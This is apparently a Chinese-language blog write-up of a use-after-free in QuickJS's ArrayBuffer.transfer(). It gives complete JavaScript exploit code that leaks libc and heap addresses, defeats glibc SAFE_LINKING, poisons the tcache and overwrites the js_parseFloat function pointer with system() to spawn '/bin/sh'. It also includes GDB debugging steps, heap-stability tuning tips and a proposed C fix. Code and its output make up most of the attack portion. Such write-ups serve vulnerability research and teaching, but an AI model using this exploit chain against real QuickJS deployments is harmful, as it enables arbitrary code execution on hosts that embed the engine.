console.log("[*] Arbitrary Write Capability Verification");
console.log("[*] Technique: Tcache Poisoning");
console.log("=".repeat(70));
console.log();

// ================ 阶段1: 地址泄露 ================
console.log("[Phase 1] Address leaking...");
console.log();

// 复用前面的泄露技术
const tmp1 = new ArrayBuffer(0x800);
const tmp5 = new ArrayBuffer(0x800);

const ab1 = new ArrayBuffer(0x800);
const ta1 = new BigUint64Array(ab1);

const tmp2 = new ArrayBuffer(0x10);
const tmp3 = new ArrayBuffer(0x10);
const tmp4 = new ArrayBuffer(0x10);

let ab1_f = ab1.transfer();
let ta1_f = new BigUint64Array(ab1_f);
ab1_f = null;
ta1_f = null;

const libc_leak = ta1[0];
const libc_base = libc_leak - 0x203b20n;

console.log("  [+] Libc base leaked: " + tohex(libc_base));
console.log();

// ================ 阶段2: 堆地址泄露 ================
console.log("[Phase 2] Heap address leaking via tcache...");
console.log();

// 创建合适大小的chunk进入tcache
const ab2 = new ArrayBuffer(0xa0);
const ta2 = new BigUint64Array(ab2);

console.log("  [+] Created ArrayBuffer of size 0xa0");
console.log("  [+] This size will use tcache bin");
console.log();

let ab2_f = ab2.transfer();
let ta2_f = new BigUint64Array(ab2_f);
ab2_f = null;
ta2_f = null;

console.log("  [+] Freed the chunk via transfer()");
console.log("  [+] Chunk entered tcache bin");
console.log();

// 读取tcache的next指针(经过SAFE_LINKING保护)
console.log("[Phase 3] Reading tcache metadata...");

const heap_xor = ta2[0];
console.log("  [+] Raw tcache next (XORed): " + tohex(heap_xor));

// SAFE_LINKING: next = (next_ptr >> 12) ^ heap_base
// 恢复真实堆地址
const heap_addr = heap_xor << 12n;
const heap_base = heap_addr - 0x9000n - 0x14000n;

console.log("  [+] Decoded heap address: " + tohex(heap_addr));
console.log("  [+] Calculated heap base: " + tohex(heap_base));
console.log();

// 计算目标写入地址
const target_offset = 0x3120n;
const target_addr = heap_base + target_offset;

console.log("  [+] Target write address: " + tohex(target_addr));
console.log("      (This is where we want to allocate a chunk)");
console.log();

// ================ 阶段4: Tcache投毒 ================
console.log("[Phase 4] Tcache poisoning attack...");
console.log();

// 创建更多相同大小的chunk来操作tcache链
const ab3 = new ArrayBuffer(0xa0);
const ta3 = new BigUint64Array(ab3);

const ab4 = new ArrayBuffer(0xa0);
const ta4 = new BigUint64Array(ab4);

console.log("  [+] Created ab3 and ab4 (size 0xa0)");
console.log();

// 释放它们进入tcache
let ab3_f = ab3.transfer();
let ta3_f = new BigUint64Array(ab3_f);
ab3_f = null;
ta3_f = null;

let ab4_f = ab4.transfer();
let ta4_f = new BigUint64Array(ab4_f);
ab4_f = null;
ta4_f = null;

console.log("  [+] Freed both chunks into tcache");
console.log("  [+] Tcache bin now has: ab4 -> ab3 -> ab2 -> ...");
console.log();

// 关键:通过UAF修改ab4的next指针
console.log("[Phase 5] Poisoning tcache next pointer...");

const poisoned_next = target_addr ^ (heap_xor + 0x00n);
ta4[0] = poisoned_next;

console.log("  [+] Original next: " + tohex(ta4[0]));
console.log("  [+] Poisoned next: " + tohex(poisoned_next));
console.log("  [+] After XOR decode, points to: " + tohex(target_addr));
console.log();
console.log("  [!] Tcache chain now: ab4 -> TARGET_ADDR -> ...");
console.log();

// ================ 阶段6: 分配到目标地址 ================
console.log("[Phase 6] Allocating chunk at controlled address...");
console.log();

// 第一次分配消耗ab4
const ab5 = new ArrayBuffer(0xa0);
const ta5 = new BigUint64Array(ab5);
console.log("  [+] Allocated ab5 (consumes ab4 from tcache)");

// 触发一个操作来稳定状态(可选,根据题目调整)
let dummy = ab2.resizable;

// 第二次分配会得到target_addr!
const ab6 = new ArrayBuffer(0xa0);
const ta6 = new BigUint64Array(ab6);

console.log("  [+] Allocated ab6");
console.log("  \x1b[1;32m[✓] ab6's backing store is at our target address!\x1b[0m");
console.log();

// ================ 阶段7: 验证写入能力 ================
console.log("[Phase 7] Verifying arbitrary write...");
console.log();

// 写入测试数据
const magic1 = 0xDEADBEEFCAFEBABEn;
const magic2 = 0x1337133713371337n;

console.log("  [*] Writing magic values...");
ta6[0] = magic1;
ta6[1] = magic2;

console.log("  [+] ta6[0] = " + tohex(magic1));
console.log("  [+] ta6[1] = " + tohex(magic2));
console.log();

// 读取验证
const read_back_0 = ta6[0];
const read_back_1 = ta6[1];

console.log("  [*] Reading back...");
console.log("  [+] ta6[0] = " + tohex(read_back_0));
console.log("  [+] ta6[1] = " + tohex(read_back_1));
console.log();

if (read_back_0 === magic1 && read_back_1 === magic2) {
    console.log("  \x1b[1;32m[✓] Write and read back successful!\x1b[0m");
} else {
    console.log("  \x1b[1;31m[✗] Values don't match!\x1b[0m");
}
console.log();

// ================ 阶段8: 构造复杂结构 ================
console.log("[Phase 8] Writing complex exploit structure...");
console.log();

const system_addr = libc_base + 0x58750n;
const binsh_str_addr = heap_base + 0x19c0n;

console.log("  [+] Computed addresses:");
console.log("      system() = " + tohex(system_addr));
console.log("      /bin/sh location = " + tohex(binsh_str_addr));
console.log();

// 初始化内存
console.log("  [*] Initializing memory region...");
for (let i = 0; i < ta6.length; i++) {
    ta6[i] = 1n;
}

// 构造fake对象结构(用于后续RIP劫持)
console.log("  [*] Writing exploit payload...");

ta6[0] = binsh_str_addr;           // 命令字符串指针
ta6[1] = 0x51n;                    // chunk size字段
ta6[2] = 0xc010000000002n;         // 对象flags
ta6[3] = heap_base + 0x3178n;      // 链表指针1
ta6[4] = heap_base + 0x3178n;      // 链表指针2
ta6[6] = heap_base + 0x3178n;      // 链表指针3
ta6[7] = heap_base + 0x3178n;      // 链表指针4
ta6[8] = heap_base + 0x3178n;      // 链表指针5
ta6[9] = system_addr;              // 函数指针 <- 关键!
ta6[11] = 0x68732f6e69622fn;       // "/bin/sh" 字符串内容

console.log("  [+] Payload structure:");
console.log("      [0x00] String pointer: " + tohex(ta6[0]));
console.log("      [0x08] Chunk size:     " + tohex(ta6[1]));
console.log("      [0x10] Flags:          " + tohex(ta6[2]));
console.log("      ...");
console.log("      [0x48] Function ptr:   " + tohex(ta6[9]) + " <- system()");
console.log("      ...");
console.log("      [0x58] String content: " + tohex(ta6[11]) + " <- '/bin/sh'");
console.log();

// ================ 总结 ================
console.log("=".repeat(70));
console.log("[Summary] Arbitrary Write Capability:");
console.log("=".repeat(70));
console.log("  ✓ Leaked libc base address");
console.log("  ✓ Leaked heap base address via SAFE_LINKING");
console.log("  ✓ Poisoned tcache next pointer via UAF");
console.log("  ✓ Allocated chunk at arbitrary address");
console.log("  ✓ Successfully wrote controlled data");
console.log("  ✓ Constructed exploit payload for RIP hijack");
console.log();
console.log("\x1b[1;32m[+] Arbitrary write primitive fully functional!\x1b[0m");
console.log("[+] Ready for control flow hijacking");
console.log();

console.log("=".repeat(70));

关键技术点解析:

  1. SAFE_LINKING绕过

    ini 复制代码
    存储的next指针 = (真实next地址 >> 12) ^ (heap_base >> 12)
    
    已知存储值heap_xor,恢复过程:
    heap_addr = heap_xor << 12
    heap_base ≈ heap_addr - 偏移量
    
    投毒时:
    poisoned = target_addr ^ (heap_xor + adjustment)
  2. Tcache链操作

    rust 复制代码
    初始状态: tcache -> ab4 -> ab3 -> ab2 -> ...
    
    修改ab4->next = target_addr:
    状态变化: tcache -> ab4 -> target_addr -> ???
    
    第一次malloc: 返回ab4,tcache -> target_addr -> ???
    第二次malloc: 返回target_addr,我们控制的地址!
  3. 内存布局:目标地址选择heap_base+0x3120,这里存储着QuickJS的关键数据结构,包括函数指针表

完整利用链构造

理解了读写原语后,我们来构造完整的exploit。

利用策略

整个利用链的思路是:

scss 复制代码
1. UAF触发
   ↓
2. 泄露libc地址 (通过unsorted bin)
   ↓
3. 泄露heap地址 (通过tcache SAFE_LINKING)
   ↓
4. Tcache投毒指向目标地址
   ↓
5. 分配到目标地址,获得任意写
   ↓
6. 覆写函数指针为system()
   ↓
7. 构造RDI指向"/bin/sh"
   ↓
8. 触发函数调用
   ↓
9. getshell!

目标选择:js_parseFloat函数指针

在QuickJS中,许多内置函数的指针存储在堆上的函数表中。通过分析,我们选择js_parseFloat作为劫持目标,原因:

  1. 位置固定:存储在heap_base+固定偏移处
  2. 容易触发 :调用parseFloat()即可
  3. 参数可控:调用时RDI指向我们可控的字符串

函数调用约定

在x86-64 System V ABI中:

  • RDI:第一个参数
  • RSI:第二个参数
  • RDX:第三个参数
  • ...

当我们劫持js_parseFloatsystem后,调用parseFloat(xxx)时,RDI会指向参数字符串的地址。如果我们能让RDI指向"/bin/sh",就能执行system("/bin/sh")

最终Exploit

javascript 复制代码
function tohex(v) {
  return "0x" + v.toString(16).padStart(16, "0");
}
vlog = (x) => console.log(tohex(x));
const tmp1 = new ArrayBuffer(0x800);
const tmp5 = new ArrayBuffer(0x800);
const ab1 = new ArrayBuffer(0x800);
const ta1 = new BigUint64Array(ab1);
const tmp2 = new ArrayBuffer(0x10);
const tmp3 = new ArrayBuffer(0x10);
const tmp4 = new ArrayBuffer(0x10);
let ab1_f = ab1.transfer();
let ta1_f = new BigUint64Array(ab1_f);
ab1_f = null;
ta1_f = null;
libc_addr = ta1[0] - 0x203b20n;
fstderr = libc_addr + 0x2044e0n;
system = libc_addr + 0x58750n;
const ab2 = new ArrayBuffer(0xa0);
const ta2 = new BigUint64Array(ab2);
let ab2_f = ab2.transfer();
let ta2_f = new BigUint64Array(ab2_f);
ab2_f = null;
ta2_f = null;
heap_xor = ta2[0];
heap_addr = ta2[0] << 12n;
heap_base = heap_addr - 0x9000n - 0x14000n;
map_addr = heap_base + 0x3120n;
const ab3 = new ArrayBuffer(0xa0);
const ta3 = new BigUint64Array(ab3);
const ab4 = new ArrayBuffer(0xa0);
const ta4 = new BigUint64Array(ab4);
let ab3_f = ab3.transfer();
let ta3_f = new BigUint64Array(ab3_f);
let ab4_f = ab4.transfer();
let ta4_f = new BigUint64Array(ab4_f);
ab3_f = null;
ta3_f = null;
ab4_f = null;
ta4_f = null;
ta4[0] = map_addr ^ (heap_xor + 0x00n);
const ab5 = new ArrayBuffer(0xa0);
const ta5 = new BigUint64Array(ab5);
let tmp = ab2.resizable;
const ab6 = new ArrayBuffer(0xa0);
const ta6 = new BigUint64Array(ab6);
for (let i = 0; i < ta6.length; i++) {
  ta6[i] = 1n;
}
ta6[0] = heap_base + 0x19c0n;
ta6[1] = 0x51n;
ta6[2] = 0xc010000000002n;
ta6[3] = heap_base + 0x3178n;
ta6[4] = heap_base + 0x3178n;
ta6[6] = heap_base + 0x3178n;
ta6[7] = heap_base + 0x3178n;
ta6[8] = heap_base + 0x3178n;
ta6[9] = system;
ta6[11] = 0x68732f6e69622fn;
let num = parseFloat(5.20);

Exploit执行流程图

makefile 复制代码
JavaScript层:
parseFloat(1.1)
    ↓
QuickJS内部:
查找js_parseFloat函数指针
    ↓
从map_addr + 0x48位置加载函数指针
    ↓
⚠️ 我们已经覆盖为system()地址
    ↓
准备函数调用:
RDI = 参数指针 (指向我们控制的内存)
    ↓
⚠️ RDI指向heap_base + 0x19c0 = "/bin/sh"
    ↓
call [劫持的函数指针]
    ↓
实际执行:
system("/bin/sh")
    ↓
🎉 获得shell!

内存布局详解

在利用链的最后阶段,目标地址map_addr的内存布局如下:

ini 复制代码
heap_base + 0x3120 (map_addr):
┌────────────────────┬─────────────────────────────────┐
│ Offset │ Value     │ Purpose                         │
├────────────────────┼─────────────────────────────────┤
│ +0x00  │ binsh_loc │ 指向"/bin/sh"字符串              │
│ +0x08  │ 0x51      │ Fake chunk size                 │
│ +0x10  │ flags     │ Object flags                    │
│ +0x18  │ list_ptr  │ Linked list pointer (稳定性)     │
│ +0x20  │ list_ptr  │ Linked list pointer             │
│ +0x28  │ padding   │                                 │
│ +0x30  │ list_ptr  │ Linked list pointer             │
│ +0x38  │ list_ptr  │ Linked list pointer             │
│ +0x40  │ list_ptr  │ Linked list pointer             │
│ +0x48  │ system()  │ ★ js_parseFloat函数指针 ★       │
│ +0x50  │ padding   │                                 │
│ +0x58  │ "/bin/sh" │ ★ 命令字符串 ★                  │
│ +0x60  │ ...       │                                 │
└────────────────────┴─────────────────────────────────┘

调用parseFloat时的寄存器状态:
RIP = system()地址
RDI = heap_base + 0x19c0 (指向"/bin/sh")
RSI = ... (不重要)
RDX = ... (不重要)

调试技巧与常见问题

在实际利用过程中,可能遇到以下问题:

问题1:堆布局不稳定

现象:有时候泄露的地址不正确,或者tcache投毒失败

原因:QuickJS的内存分配行为受到很多因素影响:

  • 脚本中的变量数量
  • 注释的长度
  • 字符串字面量的数量

解决方案

javascript 复制代码
// 调整这些参数来稳定堆布局
const tmp1 = new ArrayBuffer(0x800);  // 可能需要调整大小
const tmp5 = new ArrayBuffer(0x800);

// 添加更多临时对象
const stabilizer1 = new ArrayBuffer(0x10);
const stabilizer2 = new ArrayBuffer(0x10);
问题2:偏移量不匹配

现象:计算出的libc_base或heap_base看起来不对

原因:不同的libc版本和环境有不同的偏移

解决方案:使用GDB确定正确的偏移

bash 复制代码
gdb ./bin/qjs
(gdb) b js_array_buffer_transfer
(gdb) run exploit.js
# 在泄露后断点
(gdb) vmmap
# 找到libc和heap的真实地址
(gdb) p/x leaked_value
(gdb) p/x libc_base
# 计算差值得到正确偏移
问题3:程序崩溃

现象:在写入payload后程序crash

原因:破坏了关键的内存结构

解决方案

javascript 复制代码
// 在写入关键数据前,先用安全值初始化
for (let i = 0; i < ta6.length; i++) {
    ta6[i] = 1n;  // 或者其他安全值
}

// 然后只覆盖必要的字段
ta6[9] = system;  // 只改函数指针

GDB调试实战

设置断点

bash 复制代码
gdb ./bin/qjs
(gdb) set args exploit.js

# 在关键函数下断点
(gdb) b js_array_buffer_transfer
(gdb) b *0xa659b  # detached标志设置处
(gdb) b js_parseFloat
(gdb) b system

(gdb) run

检查ArrayBuffer状态

gdb 复制代码
# 在transfer()入口
(gdb) print *(JSArrayBuffer*)$r8
$1 = {
  byte_length = 256,
  max_byte_length = -1,
  detached = 0,        # 未detach
  shared = 0,
  data = 0x555556789000,
  array_list = {
    next = 0x55555678a000,
    prev = 0x55555678a000
  },
  opaque = 0x0,
  free_func = 0x555555567890 <js_array_buffer_free>
}

# 继续到detached设置后
(gdb) ni
...
(gdb) print *(JSArrayBuffer*)$r8
$2 = {
  byte_length = 0,     # ✅ 已清零
  detached = 1,        # ✅ 已标记
  data = 0x0,          # ✅ 已清空
  array_list = {       # ❌ 链表还在
    next = 0x55555678a000,
    prev = 0x55555678a000
  },
  ...
}

检查TypedArray状态

gdb 复制代码
# 找到array_list中的第一个TypedArray
(gdb) set $ta = (JSTypedArray*)($r8->array_list.next)
(gdb) print *$ta
$3 = {
  link = {next = ..., prev = ...},
  obj = 0x55555678b000,
  buffer = 0x55555678c000,
  offset = 0,
  length = 64          # ❌ 应该是0!
}

# 查看对应的JSObject
(gdb) print $ta->obj->u.typed_array
$4 = {
  length = 64,         # ❌ 应该是0!
  data = 0x555556789000  # ❌ 应该是NULL!
}

# 这就是UAF的证据!

验证Tcache投毒

gdb 复制代码
# 在投毒后
(gdb) x/4gx $heap_addr
0x555556789000: 0x0000555556789100  # next指针(XORed)
0x555556789008: 0x0000000000000000
0x555556789010: 0x0000000000000000
0x555556789018: 0x0000000000000000

# 检查投毒后的next
(gdb) print/x *(uint64_t*)$heap_addr
$5 = 0x3120 ^ 0x555556789  # 指向map_addr!

验证函数指针劫持

gdb 复制代码
# 检查map_addr内存
(gdb) x/20gx $map_addr
0x555556789120: 0x00005555567891c0  # binsh location
0x555556789128: 0x0000000000000051  # size
0x555556789130: 0x000c010000000002  # flags
...
0x555556789168: 0x00007ffff7e58750  # system() ← 劫持!
...
0x555556789178: 0x0068732f6e69622f  # "/bin/sh"

# 在parseFloat调用前
(gdb) b *js_parseFloat_caller
(gdb) c
(gdb) print/x $rip
(gdb) print/x $rdi
$6 = 0x5555567891c0  # 指向"/bin/sh" ✅

# 单步进入
(gdb) si
# 应该进入system而不是js_parseFloat!

漏洞修复

正确的修复方案

c 复制代码
JSValue js_array_buffer_transfer(...) {
    // ... 前面代码不变 ...
    
    if (new_len) {
        // ... 数据转移代码 ...
        
DETACH_AND_RETURN:
        // ✅ 方案1: 调用现有的正确实现
        JS_DetachArrayBuffer(ctx, this_val);
        
        return js_array_buffer_constructor3(...);
        
        /* ✅ 方案2: 手动实现完整detach逻辑
        
        // 遍历所有TypedArray视图
        struct list_head *el, *el1;
        list_for_each_safe(el, el1, &v13->array_list) {
            JSTypedArray *ta = list_entry(el, JSTypedArray, link);
            JSObject *view = ta->obj;
            
            // 更新每个视图的状态
            if (view->class_id != JS_CLASS_DATAVIEW) {
                view->u.typed_array.length = 0;
                view->u.typed_array.data = NULL;
            }
        }
        
        // 最后才标记buffer为detached
        v13->detached = 1;
        v13->data = 0;
        v13->byte_length = 0;
        
        return js_array_buffer_constructor3(...);
        */
    }
    
    // new_len == 0的情况已经正确处理了
    else {
        JS_DetachArrayBuffer(ctx, this_val);
        return js_array_buffer_constructor3(...);
    }
}

修复效果验证

修复后,运行PoC应该得到:

vbnet 复制代码
[Phase 4] Testing UAF: Reading from detached TypedArray...
  [*] Attempting to read ta1[0] (should fail but won't)...

TypeError: ArrayBuffer is detached
    at <anonymous>:1:18

[✓] NO UAF DETECTED (Expected secure behavior)

总结

漏洞本质

这个漏洞的核心是状态同步不完整

  1. ArrayBuffer对象被正确标记为detached
  2. 但TypedArray视图的状态没有同步更新
  3. 导致TypedArray持有指向已释放内存的悬空指针
  4. 形成典型的Use-After-Free漏洞

利用链回顾

完整的利用链包括:

scss 复制代码
[1] UAF触发
    ↓ (transfer()不更新TypedArray)
[2] Unsorted bin泄露libc
    ↓ (大块释放进unsorted bin保留fd/bk指针)
[3] Tcache泄露heap
    ↓ (SAFE_LINKING XOR可逆)
[4] Tcache投毒
    ↓ (UAF写next指针)
[5] 任意地址分配
    ↓ (tcache返回我们控制的地址)
[6] 任意写入
    ↓ (覆写函数指针)
[7] RIP劫持
    ↓ (parseFloat() → system())
[8] Getshell!

关键技术点

  1. UAF成因分析:对比正确实现(resize/detach)理解问题根源
  2. SAFE_LINKING绕过:理解glibc 2.32+的指针保护机制
  3. Tcache投毒:经典堆利用技术的应用
  4. 函数指针劫持:选择合适的目标和触发方式
  5. 参数控制:利用调用约定控制RDI指向"/bin/sh"
相关推荐
学网安的肆伍5 小时前
【032-安全开发篇】JavaEE应用&Servlet路由技术&JDBC&Mybatis数据库&生命周期
安全·servlet·java-ee
ifeng091816 小时前
鸿蒙应用开发常见Crash场景解析:线程安全与异常边界处理
安全·cocoa·harmonyos
时代新威powertime18 小时前
等保三级|安全通信网络自评估指南
网络·安全·等保测评
EndingCoder18 小时前
会话管理与Cookie安全
redis·安全·缓存·it·cookie
一位搞嵌入式的 genius19 小时前
RARP 协议深度解析:MAC 到 IP 的反向映射与技术演进
计算机网络·安全·网络通信·rarp协议
电子科技圈19 小时前
IAR与Quintauris携手推进RISC-V汽车实时应用的功能安全软件开发
嵌入式硬件·安全·设计模式·编辑器·汽车·risc-v
非著名架构师20 小时前
智慧气象护航:构建陆海空立体交通气象安全保障体系
大数据·人工智能·安全·疾风气象大模型4.0·疾风气象大模型·风光功率预测
让梦想疯狂20 小时前
如何进行“中国蚁剑”渗透测试工具的网络安全演练
安全·web安全
Serverless 社区20 小时前
【本不该故障系列】从 runC 到 runD:SAE 如何化解安全泄露风险
安全·云原生·serverless